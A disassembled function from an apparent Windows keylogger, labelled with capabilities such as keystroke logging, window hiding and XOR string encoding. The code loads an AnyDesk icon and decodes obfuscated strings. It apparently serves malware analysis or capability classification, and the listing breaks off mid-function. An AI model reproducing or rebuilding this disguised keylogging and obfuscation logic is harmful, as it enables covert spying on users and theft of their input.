Function at 0x40f4e0
Capabilities:
Create thread
Encode data using xor
Get graphical window text
Hide graphical window
Log keystrokes via application hook
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43afc4
mov eax, dword fs:[0]
push eax
mov eax, 0x21ac
call fcn.0041cfa0
mov eax, dword [0x44e014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x65
push ecx
mov dword [ebp - 0x211c], 0
call dword [sym.imp.USER32.dll_LoadIconW]
push 0x10
push 0x20
push 0x20
push 1
push str.ResourceAnyDesk.ico
push 0
mov dword [ebp - 0x211c], eax
call dword [sym.imp.USER32.dll_LoadImageW]
mov ecx, dword [0x44eab8]
push eax
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x2124], ecx
mov dword [ebp - 0x2024], 0x989f979b
mov dword [ebp - 0x2020], 0x92989fa1
mov edi, dword [eax]
mov eax, dword [0x450ad8]
mov word [ebp - 0x201c], 0x8199
mov byte [ebp - 0x2111], 0xf6
mov dword [ebp - 0x2140], edi
cmp eax, dword [edi + 4]
jle 0x40f5e0
push 0x450ad8
call fcn.0041c9fe
add esp, 4
cmp dword [0x450ad8], 0xffffffff
jne 0x40f5e0
mov ax, word [ebp - 0x201c]
movq xmm0, qword [ebp - 0x2024]
mov word [0x450828], ax
mov al, byte [ebp - 0x2111]
push 0x43c730
movq qword [0x450820], xmm0
mov byte [0x45082a], al
call fcn.0041cd10
push 0x450ad8
call fcn.0041c9b4
add esp, 8
cmp byte [0x45082a], 0
je 0x40f5fd
xor eax, eax
nop dword [eax + eax]
xor byte [eax + 0x450820], 0xf6
inc eax
cmp eax, 0xb
jb 0x40f5f0
sub esp, 0x18
mov esi, 0x450820
mov ecx, esp
lea edx, [esi + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x40f620
sub esi, edx
push esi
push 0x450820
call fcn.00419530
mov edx, dword [ebp - 0x2124]
mov ecx, 0x408210
call fcn.00404240
mov eax, dword [0x44eab8]
add esp, 0x1c
mov dword [ebp - 0x2124], eax
mov eax, dword [0x450870]
mov dword [ebp - 0x2050], 0xb28f98b7
push 0x8c
mov dword [ebp - 0x204c], 0xf69d8593
cmp eax, dword [edi + 4]
jle 0x40f6bc
push 0x450870
call fcn.0041c9fe
add esp, 4
cmp dword [0x450870], 0xffffffff
jne 0x40f6bc
mov eax, dword [ebp - 0x2050]
mov ecx, dword [ebp - 0x204c]
push 0x43c6f0
mov dword [0x450600], eax
mov dword [0x450604], ecx
call fcn.0041cd10
push 0x450870
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450607]
test al, al
je 0x40f6fd
xor byte [0x450600], 0xf6
xor byte [0x450601], 0xf6
xor byte [0x450602], 0xf6
xor byte [0x450603], 0xf6
xor byte [0x450604], 0xf6
xor byte [0x450605], 0xf6
xor byte [0x450606], 0xf6
xor al, 0xf6
mov byte [0x450607], al
sub esp, 0x18
mov ecx, 0x450600
mov edx, esp
mov dword [ebp - 0x2118], esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f724
sub ecx, esi
push ecx
push 0x450600
mov ecx, edx
call fcn.00419530
mov dword [ebp - 4], 0
mov eax, dword [0x450690]
mov dword [ebp - 0x2024], 0x989f979b
mov dword [ebp - 0x2020], 0x92989fa1
mov word [ebp - 0x201c], 0x8199
mov byte [ebp - 0x2111], 0xf6
cmp eax, dword [edi + 4]
jle 0x40f7c7
push 0x450690
call fcn.0041c9fe
add esp, 4
cmp dword [0x450690], 0xffffffff
jne 0x40f7c7
mov ax, word [ebp - 0x201c]
movq xmm0, qword [ebp - 0x2024]
mov word [0x4505cc], ax
mov al, byte [ebp - 0x2111]
push 0x43c700
movq qword [0x4505c4], xmm0
mov byte [0x4505ce], al
call fcn.0041cd10
push 0x450690
call fcn.0041c9b4
add esp, 8
cmp byte [0x4505ce], 0
je 0x40f7df
xor eax, eax
xor byte [eax + 0x4505c4], 0xf6
inc eax
cmp eax, 0xb
jb 0x40f7d2
sub esp, 0x18
mov ecx, 0x4505c4
mov edx, esp
mov dword [ebp - 0x212c], esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f806
sub ecx, esi
push ecx
push 0x4505c4
mov ecx, edx
call fcn.00419530
mov byte [ebp - 4], 1
mov eax, dword [0x450470]
mov dword [ebp - 0x2018], 0x9298819e
mov word [ebp - 0x2014], 0xf6c7
cmp eax, dword [edi + 4]
jle 0x40f885
push 0x450470
call fcn.0041c9fe
add esp, 4
cmp dword [0x450470], 0xffffffff
jne 0x40f885
mov eax, dword [ebp - 0x2018]
mov dword [0x450a74], eax
mov ax, word [ebp - 0x2014]
push 0x43c720
mov word [0x450a78], ax
call fcn.0041cd10
push 0x450470
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450a79]
test al, al
je 0x40f8b8
xor byte [0x450a74], 0xf6
xor byte [0x450a75], 0xf6
xor byte [0x450a76], 0xf6
xor byte [0x450a77], 0xf6
xor byte [0x450a78], 0xf6
xor al, 0xf6
mov byte [0x450a79], al
sub esp, 0x18
mov esi, 0x450a74
mov ecx, esp
lea edx, [esi + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x40f8e0
sub esi, edx
push esi
push 0x450a74
call fcn.00419530
mov ecx, dword [ebp - 0x2124]
mov edx, 0xaa
mov dword [ebp - 4], 0xffffffff
call fcn.004043b0
add esp, 0x4c
push 0xb4d6ff
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov ecx, dword [0x45046c]
mov esi, eax
mov dword [ebp - 0x2018], 0x9298819e
mov word [ebp - 0x2014], 0xf6c7
cmp ecx, dword [edi + 4]
jle 0x40f981
push 0x45046c
call fcn.0041c9fe
add esp, 4
cmp dword [0x45046c], 0xffffffff
jne 0x40f981
mov eax, dword [ebp - 0x2018]
mov dword [0x4506bc], eax
mov ax, word [ebp - 0x2014]
push 0x43c6e0
mov word [0x4506c0], ax
call fcn.0041cd10
push 0x45046c
call fcn.0041c9b4
add esp, 8
mov al, byte [0x4506c1]
test al, al
je 0x40f9b4
xor byte [0x4506bc], 0xf6
xor byte [0x4506bd], 0xf6
xor byte [0x4506be], 0xf6
xor byte [0x4506bf], 0xf6
xor byte [0x4506c0], 0xf6
xor al, 0xf6
mov byte [0x4506c1], al
mov ecx, 0x4506bc
mov dword [ebp - 0x2030], 0
mov dword [ebp - 0x2020], 0
mov dword [ebp - 0x201c], 0xf
mov byte [ebp - 0x2030], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f9e1
sub ecx, edx
push ecx
push 0x4506bc
lea ecx, [ebp - 0x2030]
call fcn.00419530
lea eax, [ebp - 0x2030]
mov dword [ebp - 4], 2
push eax
mov ecx, 0x4503a0
call fcn.00417640
push esi
mov esi, dword [sym.imp.USER32.dll_SetClassLongW]
push 0xfffffffffffffff6
push dword [eax]
call esi
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x201c]
cmp edx, 0x10
jb 0x40fa61
mov ecx, dword [ebp - 0x2030]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40fa57
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4146c4
push edx
push ecx
call fcn.0041c8b0
add esp, 8
mov eax, dword [0x450a00]
mov dword [ebp - 0x2018], 0x9298819e
mov word [ebp - 0x2014], 0xf6c7
cmp eax, dword [edi + 4]
jle 0x40fac6
push 0x450a00
call fcn.0041c9fe
add esp, 4
cmp dword [0x450a00], 0xffffffff
jne 0x40fac6
mov eax, dword [ebp - 0x2018]
mov dword [0x450acc], eax
mov ax, word [ebp - 0x2014]
push 0x43c6d0
mov word [0x450ad0], ax
call fcn.0041cd10
push 0x450a00
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450ad1]
test al, al
je 0x40faf9
xor byte [0x450acc], 0xf6
xor byte [0x450acd], 0xf6
xor byte [0x450ace], 0xf6
xor byte [0x450acf], 0xf6
xor byte [0x450ad0], 0xf6
xor al, 0xf6
mov byte [0x450ad1], al
mov ecx, 0x450acc
mov dword [ebp - 0x2030], 0
mov dword [ebp - 0x2020], 0
mov dword [ebp - 0x201c], 0xf
mov byte [ebp - 0x2030], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fb26
sub ecx, edx
push ecx
push 0x450acc
lea ecx, [ebp - 0x2030]
call fcn.00419530
lea eax, [ebp - 0x2030]
mov dword [ebp - 4], 3
push eax
mov ecx, 0x4503a0
call fcn.00417640
push dword [ebp - 0x211c]
push 0xfffffffffffffff2
push dword [eax]
call esi
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x201c]
cmp edx, 0x10
jb 0x40fba5
mov ecx, dword [ebp - 0x2030]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40fb9b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4146c9
push edx
push ecx
call fcn.0041c8b0
add esp, 8
push 4
call fcn.0041c880
mov dword [ebp - 0x2120], eax
mov dword [eax], 0x406600
lea ecx, [ebp - 0x2138]
mov dword [ebp - 4], 4
push ecx
push 0
push eax
push 0x41c000
push 0
push 0
call fcn.00422942
add esp, 0x1c
mov dword [ebp - 0x213c], eax
test eax, eax
je 0x4146b3
mov dword [ebp - 4], 5
mov ecx, dword [ebp - 0x2138]
test ecx, ecx
je 0x414763
push ecx
push eax
call fcn.0041e46f
add esp, 8
test eax, eax
jne 0x4146ce
xorps xmm0, xmm0
push 4
movlpd qword [ebp - 0x213c], xmm0
call fcn.0041c880
mov dword [ebp - 0x2120], eax
mov dword [ebp - 0x2124], 0x30
mov dword [eax], 0x40e500
lea ecx, [ebp - 0x2130]
mov byte [ebp - 4], 6
push ecx
push 0
push eax
push 0x41c000
push 0
push 0
call fcn.00422942
add esp, 0x1c
mov dword [ebp - 0x2134], eax
test eax, eax
je 0x414752
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x2130]
test ecx, ecx
je 0x414763
push ecx
push eax
call fcn.0041e46f
add esp, 8
test eax, eax
jne 0x4146d4
push 0x10
push 0x20
push 0x20
push 1
push str.ResourceAnyDesk.ico
xorps xmm0, xmm0
push eax
movlpd qword [ebp - 0x2134], xmm0
call dword [sym.imp.USER32.dll_LoadImageW]
mov ecx, dword [0x44eab8]
push eax
mov eax, dword [0x450838]
mov dword [ebp - 0x2118], ecx
mov dword [ebp - 0x2028], 0x99959385
mov dword [ebp - 0x2024], 0x9fa19298
mov dword [ebp - 0x2020], 0x81999298
mov byte [ebp - 0x2111], 0xf6
cmp eax, dword [edi + 4]
jle 0x40fd39
push 0x450838
call fcn.0041c9fe
add esp, 4
cmp dword [0x450838], 0xffffffff
jne 0x40fd39
mov eax, dword [ebp - 0x2020]
movq xmm0, qword [ebp - 0x2028]
mov dword [0x4504c0], eax
mov al, byte [ebp - 0x2111]
push 0x43c6b0
movq qword [0x4504b8], xmm0
mov byte [0x4504c4], al
call fcn.0041cd10
push 0x450838
call fcn.0041c9b4
add esp, 8
cmp byte [0x4504c4], 0
je 0x40fd51
xor eax, eax
xor byte [eax + 0x4504b8], 0xf6
inc eax
cmp eax, 0xd
jb 0x40fd44
sub esp, 0x18
mov esi, 0x4504b8
mov ecx, esp
lea edx, [esi + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [esi]
inc esi
test al, al
jne 0x40fd72
sub esi, edx
push esi
push 0x4504b8
call fcn.00419530
mov edx, dword [ebp - 0x2118]
mov ecx, 0x40b810
call fcn.00404240
mov eax, dword [0x44eab8]
add esp, 0x1c
mov dword [ebp - 0x2118], eax
mov eax, dword [0x450620]
mov dword [ebp - 0x2050], 0xb28f98b7
push 0x6e
mov dword [ebp - 0x204c], 0xf69d8593
cmp eax, dword [edi + 4]
jle 0x40fe0b
push 0x450620
call fcn.0041c9fe
add esp, 4
cmp dword [0x450620], 0xffffffff
jne 0x40fe0b
mov eax, dword [ebp - 0x2050]
mov ecx, dword [ebp - 0x204c]
push 0x43c670
mov dword [0x450ab4], eax
mov dword [0x450ab8], ecx
call fcn.0041cd10
push 0x450620
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450abb]
test al, al
je 0x40fe4c
xor byte [0x450ab4], 0xf6
xor byte [0x450ab5], 0xf6
xor byte [0x450ab6], 0xf6
xor byte [0x450ab7], 0xf6
xor byte [0x450ab8], 0xf6
xor byte [0x450ab9], 0xf6
xor byte [0x450aba], 0xf6
xor al, 0xf6
mov byte [0x450abb], al
sub esp, 0x18
mov ecx, 0x450ab4
mov edx, esp
mov dword [ebp - 0x2120], esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fe73
sub ecx, esi
push ecx
push 0x450ab4
mov ecx, edx
call fcn.00419530
mov byte [ebp - 4], 8
mov eax, dword [0x450920]
mov dword [ebp - 0x2028], 0x99959385
mov dword [ebp - 0x2024], 0x9fa19298
mov dword [ebp - 0x2020], 0x81999298
mov byte [ebp - 0x2111], 0xf6
cmp eax, dword [edi + 4]
jle 0x40ff12
push 0x450920
call fcn.0041c9fe
add esp, 4
cmp dword [0x450920], 0xffffffff
jne 0x40ff12
mov eax, dword [ebp - 0x2020]
movq xmm0, qword [ebp - 0x2028]
mov dword [0x450bf8], eax
mov al, byte [ebp - 0x2111]
push 0x43c680
movq qword [0x450bf0], xmm0
mov byte [0x450bfc], al
call fcn.0041cd10
push 0x450920
call fcn.0041c9b4
add esp, 8
cmp byte [0x450bfc], 0
je 0x40ff2d
xor eax, eax
nop dword [eax]
xor byte [eax + 0x450bf0], 0xf6
inc eax
cmp eax, 0xd
jb 0x40ff20
sub esp, 0x18
mov ecx, 0x450bf0
mov edx, esp
mov dword [ebp - 0x212c], esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ff54
sub ecx, esi
push ecx
push 0x450bf0
mov ecx, edx
call fcn.00419530
mov byte [ebp - 4], 9
mov eax, dword [0x4506b4]
mov dword [ebp - 0x2018], 0x9298819e
mov word [ebp - 0x2014], 0xf6c4
cmp eax, dword [edi + 4]
jle 0x40ffd3
push 0x4506b4
call fcn.0041c9fe
add esp, 4
cmp dword [0x4506b4], 0xffffffff
jne 0x40ffd3
mov eax, dword [ebp - 0x2018]
mov dword [0x450588], eax
mov ax, word [ebp - 0x2014]
push 0x43c6a0
mov word [0x45058c], ax
call fcn.0041cd10
push 0x4506b4
call fcn.0041c9b4
add esp, 8
mov al, byte [0x45058d]
test al, al
je 0x410006
xor byte [0x450588], 0xf6
xor byte [0x450589], 0xf6
xor byte [0x45058a], 0xf6
xor byte [0x45058b], 0xf6
xor byte [0x45058c], 0xf6
xor al, 0xf6
mov byte [0x45058d], al
sub esp, 0x18
mov esi, 0x450588
mov ecx, esp
lea edx, [esi + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [esi]
inc esi
test al, al
jne 0x410027
sub esi, edx
push esi
push 0x450588
call fcn.00419530
mov ecx, dword [ebp - 0x2118]
mov edx, 0xd2
mov byte [ebp - 4], 7
call fcn.004043b0
add esp, 0x4c
push 0xfcfce0
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov ecx, dword [0x450640]
mov esi, eax
mov dword [ebp - 0x2018], 0x9298819e
mov word [ebp - 0x2014], 0xf6c4
cmp ecx, dword [edi + 4]
jle 0x4100c5
push 0x450640
call fcn.0041c9fe
add esp, 4
cmp dword [0x450640], 0xffffffff
jne 0x4100c5
mov eax, dword [ebp - 0x2018]
mov dword [0x450af4], eax
mov ax, word [ebp - 0x2014]
push 0x43c660
mov word [0x450af8], ax
call fcn.0041cd10
push 0x450640
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450af9]
test al, al
je 0x4100f8
xor byte [0x450af4], 0xf6
xor byte [0x450af5], 0xf6
xor byte [0x450af6], 0xf6
xor byte [0x450af7], 0xf6
xor byte [0x450af8], 0xf6
xor al, 0xf6
mov byte [0x450af9], al
mov ecx, 0x450af4
mov dword [ebp - 0x2030], 0
mov dword [ebp - 0x2020], 0
mov dword [ebp - 0x201c], 0xf
mov byte [ebp - 0x2030], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410125
sub ecx, edx
push ecx
push 0x450af4
lea ecx, [ebp - 0x2030]
call fcn.00419530
lea eax, [ebp - 0x2030]
mov byte [ebp - 4], 0xa
push eax
mov ecx, 0x4503a0
call fcn.00417640
push esi
mov esi, dword [sym.imp.USER32.dll_SetClassLongW]
push 0xfffffffffffffff6
push dword [eax]
call esi
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x201c]
cmp edx, 0x10
jb 0x41019f
mov ecx, dword [ebp - 0x2030]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410195
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4146da
push edx
push ecx
call fcn.0041c8b0
add esp, 8
mov eax, dword [0x450b7c]
mov dword [ebp - 0x2018], 0x9298819e
mov word [ebp - 0x2014], 0xf6c4
cmp eax, dword [edi + 4]
jle 0x410204
push 0x450b7c
call fcn.0041c9fe
add esp, 4
cmp dword [0x450b7c], 0xffffffff
jne 0x410204
mov eax, dword [ebp - 0x2018]
mov dword [0x4509d8], eax
mov ax, word [ebp - 0x2014]
push 0x43c650
mov word [0x4509dc], ax
call fcn.0041cd10
push 0x450b7c
call fcn.0041c9b4
add esp, 8
mov al, byte [0x4509dd]
test al, al
je 0x410237
xor byte [0x4509d8], 0xf6
xor byte [0x4509d9], 0xf6
xor byte [0x4509da], 0xf6
xor byte [0x4509db], 0xf6
xor byte [0x4509dc], 0xf6
xor al, 0xf6
mov byte [0x4509dd], al
mov ecx, 0x4509d8
mov dword [ebp - 0x2030], 0
mov dword [ebp - 0x2020], 0
mov dword [ebp - 0x201c], 0xf
mov byte [ebp - 0x2030], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410264
sub ecx, edx
push ecx
push 0x4509d8
lea ecx, [ebp - 0x2030]
call fcn.00419530
lea eax, [ebp - 0x2030]
mov byte [ebp - 4], 0xb
push eax
mov ecx, 0x4503a0
call fcn.00417640
push dword [ebp - 0x211c]
push 0xfffffffffffffff2
push dword [eax]
call esi
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x201c]
cmp edx, 0x10
jb 0x4102dd
mov ecx, dword [ebp - 0x2030]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4102d3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4146df
push edx
push ecx
call fcn.0041c8b0
add esp, 8
mov eax, dword [0x450a58]
mov dword [ebp - 0x2018], 0x9298819e
mov word [ebp - 0x2014], 0xf6c7
cmp eax, dword [edi + 4]
jle 0x410342
push 0x450a58
call fcn.0041c9fe
add esp, 4
cmp dword [0x450a58], 0xffffffff
jne 0x410342
mov eax, dword [ebp - 0x2018]
mov dword [0x450954], eax
mov ax, word [ebp - 0x2014]
push 0x43c600
mov word [0x450958], ax
call fcn.0041cd10
push 0x450a58
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450959]
test al, al
je 0x410375
xor byte [0x450954], 0xf6
xor byte [0x450955], 0xf6
xor byte [0x450956], 0xf6
xor byte [0x450957], 0xf6
xor byte [0x450958], 0xf6
xor al, 0xf6
mov byte [0x450959], al
mov ecx, 0x450954
mov dword [ebp - 0x2048], 0
mov dword [ebp - 0x2038], 0
mov dword [ebp - 0x2034], 0xf
mov byte [ebp - 0x2048], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4103a2
sub ecx, edx
push ecx
push 0x450954
lea ecx, [ebp - 0x2048]
call fcn.00419530
lea eax, [ebp - 0x2048]
mov byte [ebp - 4], 0xc
push eax
mov ecx, 0x4503a0
call fcn.00417640
mov ecx, dword [0x44eab8]
push 0x14
push 0xc8
push 0xc
push 0x11
push eax
mov eax, dword [0x450c94]
mov dword [ebp - 0x2118], ecx
mov dword [ebp - 0x2024], 0x849385a3
mov dword [ebp - 0x2020], 0x939b9798
mov word [ebp - 0x201c], 0xf6cc
cmp eax, dword [edi + 4]
jle 0x41045d
push 0x450c94
call fcn.0041c9fe
add esp, 4
cmp dword [0x450c94], 0xffffffff
jne 0x41045d
movq xmm0, qword [ebp - 0x2024]
mov ax, word [ebp - 0x201c]
push 0x43c610
movq qword [0x45082c], xmm0
mov word [0x450834], ax
call fcn.0041cd10
push 0x450c94
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450835]
test al, al
je 0x4104ac
xor byte [0x45082c], 0xf6
xor byte [0x45082d], 0xf6
xor byte [0x45082e], 0xf6
xor byte [0x45082f], 0xf6
xor byte [0x450830], 0xf6
xor byte [0x450831], 0xf6
xor byte [0x450832], 0xf6
xor byte [0x450833], 0xf6
xor byte [0x450834], 0xf6
xor al, 0xf6
mov byte [0x450835], al
sub esp, 0x18
mov ecx, 0x45082c
mov edx, esp
mov dword [ebp - 0x2128], esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4104d3
sub ecx, esi
push ecx
push 0x45082c
mov ecx, edx
call fcn.00419530
mov byte [ebp - 4], 0xd
mov eax, dword [0x450998]
mov dword [ebp - 0x2024], 0x9394979a
mov dword [ebp - 0x2020], 0x9385839a
mov word [ebp - 0x201c], 0xf684
cmp eax, dword [edi + 4]
jle 0x410561
push 0x450998
call fcn.0041c9fe
add esp, 4
cmp dword [0x450998], 0xffffffff
jne 0x410561
movq xmm0, qword [ebp - 0x2024]
mov ax, word [ebp - 0x201c]
push 0x43c630
movq qword [0x450650], xmm0
mov word [0x450658], ax
call fcn.0041cd10
push 0x450998
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450659]
test al, al
je 0x4105b0
xor byte [0x450650], 0xf6
xor byte [0x450651], 0xf6
xor byte [0x450652], 0xf6
xor byte [0x450653], 0xf6
xor byte [0x450654], 0xf6
xor byte [0x450655], 0xf6
xor byte [0x450656], 0xf6
xor byte [0x450657], 0xf6
xor byte [0x450658], 0xf6
xor al, 0xf6
mov byte [0x450659], al
sub esp, 0x18
mov esi, 0x450650
mov ecx, esp
lea edx, [esi + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [esi]
inc esi
test al, al
jne 0x4105d1
sub esi, edx
push esi
push 0x450650
call fcn.00419530
mov edx, dword [ebp - 0x2118]
xor ecx, ecx
mov byte [ebp - 4], 0xc
call fcn.00404590
mov byte [ebp - 4], 7
add esp, 0x44
mov edx, dword [ebp - 0x2034]
cmp edx, 0x10
jb 0x410637
mov ecx, dword [ebp - 0x2048]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41062d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4146e4
push edx
push ecx
call fcn.0041c8b0
add esp, 8
mov eax, dword [0x450630]
mov dword [ebp - 0x2018], 0x9298819e
mov word [ebp - 0x2014], 0xf6c7
cmp eax, dword [edi + 4]
jle 0x41069c
push 0x450630
call fcn.0041c9fe
add esp, 4
cmp dword [0x450630], 0xffffffff
jne 0x41069c
mov eax, dword [ebp - 0x2018]
mov dword [0x450b6c], eax
mov ax, word [ebp - 0x2014]
push 0x43c5b0
mov word [0x450b70], ax
call fcn.0041cd10
push 0x450630
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450b71]
test al, al
je 0x4106cf
xor byte [0x450b6c], 0xf6
xor byte [0x450b6d], 0xf6
xor byte [0x450b6e], 0xf6
xor byte [0x450b6f], 0xf6
xor byte [0x450b70], 0xf6
xor al, 0xf6
mov byte [0x450b71], al
mov ecx, 0x450b6c
mov dword [ebp - 0x2048], 0
mov dword [ebp - 0x2038], 0
mov dword [ebp - 0x2034], 0xf
mov byte [ebp - 0x2048], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410700
sub ecx, edx
push ecx
push 0x450b6c
lea ecx, [ebp - 0x2048]
call fcn.00419530
lea eax, [ebp - 0x2048]
mov byte [ebp - 4], 0xe
push eax
mov ecx, 0x4503a0
call fcn.00417640
mov ecx, dword [0x44eab8]
push 0x14
push 0xc8
push 0x2d
push 0x13
push eax
mov eax, dword [0x4505e4]
mov dword [ebp - 0x2118], ecx
mov dword [ebp - 0x2024], 0x858597a6
mov dword [ebp - 0x2020], 0x92849981
mov word [ebp - 0x201c], 0xf6cc
cmp eax, dword [edi + 4]
jle 0x4107bb
push 0x4505e4
call fcn.0041c9fe
add esp, 4
cmp dword [0x4505e4], 0xffffffff
jne 0x4107bb
movq xmm0, qword [ebp - 0x2024]
mov ax, word [ebp - 0x201c]
push 0x43c5c0
movq qword [0x45083c], xmm0
mov word [0x450844], ax
call fcn.0041cd10
push 0x4505e4
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450845]
test al, al
je 0x41080a
xor byte [0x45083c], 0xf6
xor byte [0x45083d], 0xf6
xor byte [0x45083e], 0xf6
xor byte [0x45083f], 0xf6
xor byte [0x450840], 0xf6
xor byte [0x450841], 0xf6
xor byte [0x450842], 0xf6
xor byte [0x450843], 0xf6
xor byte [0x450844], 0xf6
xor al, 0xf6
mov byte [0x450845], al
sub esp, 0x18
mov ecx, 0x45083c
mov edx, esp
mov dword [ebp - 0x2128], esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410831
sub ecx, esi
push ecx
push 0x45083c
mov ecx, edx
call fcn.00419530
mov byte [ebp - 4], 0xf
mov eax, dword [0x450ac4]
mov dword [ebp - 0x2024], 0x9394979a
mov dword [ebp - 0x2020], 0x8597869a
mov word [ebp - 0x201c], 0xf685
cmp eax, dword [edi + 4]
jle 0x4108bf
push 0x450ac4
call fcn.0041c9fe
add esp, 4
cmp dword [0x450ac4], 0xffffffff
jne 0x4108bf
movq xmm0, qword [ebp - 0x2024]
mov ax, word [ebp - 0x201c]
push 0x43c5e0
movq qword [0x450bcc], xmm0
mov word [0x450bd4], ax
call fcn.0041cd10
push 0x450ac4
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450bd5]
test al, al
je 0x41090e
xor byte [0x450bcc], 0xf6
xor byte [0x450bcd], 0xf6
xor byte [0x450bce], 0xf6
xor byte [0x450bcf], 0xf6
xor byte [0x450bd0], 0xf6
xor byte [0x450bd1], 0xf6
xor byte [0x450bd2], 0xf6
xor byte [0x450bd3], 0xf6
xor byte [0x450bd4], 0xf6
xor al, 0xf6
mov byte [0x450bd5], al
sub esp, 0x18
mov esi, 0x450bcc
mov ecx, esp
lea edx, [esi + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x410930
sub esi, edx
push esi
push 0x450bcc
call fcn.00419530
mov edx, dword [ebp - 0x2118]
xor ecx, ecx
mov byte [ebp - 4], 0xe
call fcn.00404590
mov byte [ebp - 4], 7
add esp, 0x44
mov edx, dword [ebp - 0x2034]
cmp edx, 0x10
jb 0x410996
mov ecx, dword [ebp - 0x2048]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41098c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4146e9
push edx
push ecx
call fcn.0041c8b0
add esp, 8
mov eax, dword [0x450c9c]
mov dword [ebp - 0x2018], 0x9298819e
mov word [ebp - 0x2014], 0xf6c7
cmp eax, dword [edi + 4]
jle 0x4109fb
push 0x450c9c
call fcn.0041c9fe
add esp, 4
cmp dword [0x450c9c], 0xffffffff
jne 0x4109fb
mov eax, dword [ebp - 0x2018]
mov dword [0x450428], eax
mov ax, word [ebp - 0x2014]
push 0x43c570
mov word [0x45042c], ax
call fcn.0041cd10
push 0x450c9c
call fcn.0041c9b4
add esp, 8
mov al, byte [0x45042d]
test al, al
je 0x410a2e
xor byte [0x450428], 0xf6
xor byte [0x450429], 0xf6
xor byte [0x45042a], 0xf6
xor byte [0x45042b], 0xf6
xor byte [0x45042c], 0xf6
xor al, 0xf6
mov byte [0x45042d], al
mov ecx, 0x450428
mov dword [ebp - 0x2048], 0
mov dword [ebp - 0x2038], 0
mov dword [ebp - 0x2034], 0xf
mov byte [ebp - 0x2048], 0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410a60
sub ecx, edx
push ecx
push 0x450428
